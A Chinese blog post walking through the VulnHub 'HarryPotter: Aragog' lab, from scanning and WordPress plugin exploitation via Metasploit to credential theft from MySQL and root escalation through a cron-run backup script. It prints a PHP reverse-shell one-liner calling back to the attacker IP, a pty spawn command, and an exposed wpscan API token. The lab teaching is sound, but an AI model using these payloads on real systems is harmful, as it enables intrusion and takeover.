作者名:Demo不是emo
主页面链接:主页传送门 创作初心:对于计算机的学习者来说,初期的学习无疑是最迷茫和难以坚持的,我也刚接触计算机1年,也在不断的探索,在CSDN写博客主要是为了分享自己的学习历程,学习方法,总结的经验等等,希望能帮助到大家 座右铭:不要让时代的悲哀成为你的悲哀 专研方向:网络安全,数据结构
每日emo:人们感到委屈的时候通常就说睡了
今天的博客内容是HARRYPOTTER: ARAGOG (1.0.2)教程(简单难度),靶场环境来源于VulnHub,该网站有很多虚拟机靶场,靶场平台入口在这,推荐大家使用,大家进去直接搜索HARRYPOTTER: ARAGOG (1.0.2)就能下载今天的靶场了,也可以找我拿,开始对今天靶场的介绍
这是哈利波特vm系列的第一个靶场,总共有三个靶场,其中隐藏了8个魂器,今天这个靶场中隐藏了两个,意思就是今天的靶场有两个flag,话不多说我们来见识见识
目录
直接在vbox导入就可以,如果出现了报错,就把启用usb控制器关掉就可以正常打开了
这里除了到vulnhub下载到的目标虚拟机环境,还需要一台kali,并且两台处于同一网段(可以都用桥接模式),虚拟机管理设备用vm和virtual均可,我这里就用virtual来给大家演示了,如下面这样就是搭建完成了,具体搭建过程就不多讲了,不懂得也可以私信问我
(因为我这是校园网,有防护所以c段不同,这里都用桥接模式即可,而且靶机也显示了ip地址,只要能ping通就可以进行靶场操作了)
这里看到,我的kali攻击机的ip是172.21.100.73,而目标机器的ip是172.21.122.235,既然知道了对方的ip,我们就直接用nmap详细扫描一下,扫描结果如下:
1.http服务探测
根据上面的扫描结果可以看到对方开启了22端口(ssh服务)和80端口(http服务),因为ssh需要用户名等敏感信息,所以我们就先探测对方的http服务,即通过目标的ip访问目标搭建的网页,访问结果如下:
可以看到这个页面内只有一张图片,而且在f12开发者审查元素里面也没有发现异常,在靶场之中看到图片,大部分都涉及了隐写术,这里我们用wget命令把图片下载到本地再输入steghide工具(一款开源的隐写工具)使用info参数查看图片,命令如下:
steghide info harry_potter_1.jpg
具体操作如下:
可以看到提取图片数据时需要密码,我们并没有密码,隐写术的探索就只能暂停了,所以想要继续探测http服务就只能找敏感目录,这里我们使用kali 自带的dirsearch目录爆破工具来探测目录,命令如下:
dirsearch -u "172.21.122.235" -e *
探测结果如下:
可以看到这里扫出来目录中,/index.html,/javascript, /server-status,/blog下的部分目录,并且出现了wp-login.php,这也说明了这是一个wordpress的cms框架,这些才可以访问,我们依次尝试,果然在blog这个页面发现了作者给出的提示,提示如下:(这里其他的访问页面就不展示了,太多了)
就是这样一个页面,因为全是英文,所以我们也可以来翻译一下
这里大家能看明白了吧,他提示了这是一个wordpress站点,这也印证了前面我们的猜想,同时,这个blog页面应该也是wordpress搭建的根目录,
2.wpscan工具
我们这里还是用kali自带的工具wpscan来进一步获取信息,这是一款专门用来探测wordpress站点漏洞的工具,还可以检测wordpress站点用的插件存在的漏洞 ,但是这款工具wpscan规定扫描漏洞时,需要带上token值,才能显示出漏洞详细信息。这个token只需要去他的官网注册一下再登录就可以拿到了,如果不带token值,不会显示漏洞信息
这里拿到了token值 ,再依次输入下面指令(把ip换成你们自己攻击机的ip)即可
wpscan --api-token=ncpMue7yoUJi54sMafxWaHh4ntwFTTwQWCadedVv6sQ --url=http://172.21.122.235/blogwpscan --api-token=ncpMue7yoUJi54sMafxWaHh4ntwFTTwQWCadedVv6sQ --url=http://172.21.122.235/blog -e vp
站点漏洞检测结果如下:
可以 发现该站点的插件中有很多漏洞,而且都是关于file Manager的,所以我们直接去msf上看看有没有对应的漏洞利用工具
3.msf获权
直接打开kali的msfconsole,这个就不用介绍了吧,再使用search命令查找可以利用的工具,查找结果如下:
可以看到有四个结果,我们使用第二个,因为这个名称正是我们刚才探测出来的4个漏洞之一,use 1进入到该工具内,再使用info命令查看需要配置哪些东西
可以看到这里需要配置rhost(目标主机),targeturl(目标网址),这个目标网址会自动跟前面的目标主机拼接,所以我们直接把rhost设置为靶机的ip,targeturl设置成/blog即可,这里因为使用的是反向,所以还需要配置自己的主机ip,再运行即可,效果如下:
可以看到,这里我们成功拿到了网站权限,第一个魂器就在家目录的hagrid98目录下
这段乱码一看就是base64格式,我们直接拿去在线站点解压,解压结果如下:
1: RidDlE's DiAry dEstroYed By haRry in chaMbEr of SeCrets
翻译:1:里德尔的日记本被哈利在密室中摧毁
1.数据库权限
前面获得的是网站权限,而且第二个魂器还没拿到,所以我们继续探索,wordpress用户会在mysql数据库中存储信息,在/etc/wordpress里可以打开config-default.php。这里记录了MySQL的用户名密码,可以用于登录数据库
注意:登录数据库之前得首先得获取一个tty shell,不然我们在数据库中的命令就看不到回显(可以理解为将非交互式shell变成了交互式shell),输入下面命令即可拿到tty shell
python3 -c 'import pty; pty.spawn("/bin/bash");'
步骤如下
像上面这样就是拿到了tty 权限,接下来就是根据上面拿到的mysql的账密来尝试远程登录了
可以看到这里我们成功登陆了目标的数据库,wordpress数据库保存的用户名和密码一般都放在wp_users表里面的,我们直接查找里面的内容试试
成功拿到了用户名和密码,我们将密码拿去md5在线站点解密,解密的结果如下:
password123
2.用户权限
因为我们刚才在数据库中拿到了账密,最开始的信息探测中又发现目标开启了ssh服务,所以我们直接尝试远程登录ssh服务,步骤如下:
成功拿到用户权限,现在我们就该考虑怎么提升为root权限了
3.root提权
这里我们尝试了查找了一下作者有没有留下可以sudo提权的工具和历史命令,都没有发现,那就很可能是敏感文件了,我们先看看bak备份文件
成功发现了一个以sh为后缀的文件,相信大家平时没少看到此类文件吧,此类文件大多都是脚本,我们用cat再仔细看看
这个脚本的大概意思是,把上传的文件复制到tmp这个目录里,即拷贝文件 ,说明这个文件每过一段时间就会执行,推测应该被写入了计划任务,这里我们尝试建立一个反弹shell的脚本并通过它这个计划任务来执行
在tmp文件下创建反弹shell的php脚本并命名为a.php,脚本代码如下
<?php $sock=fsockopen("172.21.100.73 ",9999);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
因为我们猜测有一个计划任务会不断执行刚刚我们找到的.backup文件,所以我们把执行脚本的命令也写入该文件内,让其不断执行脚本,加入代码后如下
这里的/usr/bin/php是php的执行文件的目录,这样才能执行php文件,可能有的同学执行文件位置不一样,所以就需要找一下了
再新开一个终端,监听9999端口,不到一分钟就可以接收到shell了,可以看到是root用户了已经
这里我们也可以来查看一下计划任务,进一步验证我们的猜想
可以看到,root下确实存在了一个计划任务来执行刚才那个脚本文件 ,给自己点个赞
到这里今天的靶场就全部结束了,如果你看到这里了希望你也能给自己点个赞,最后,感谢大家的阅读,有什么问题随时都可以问评论或私信我,加油哇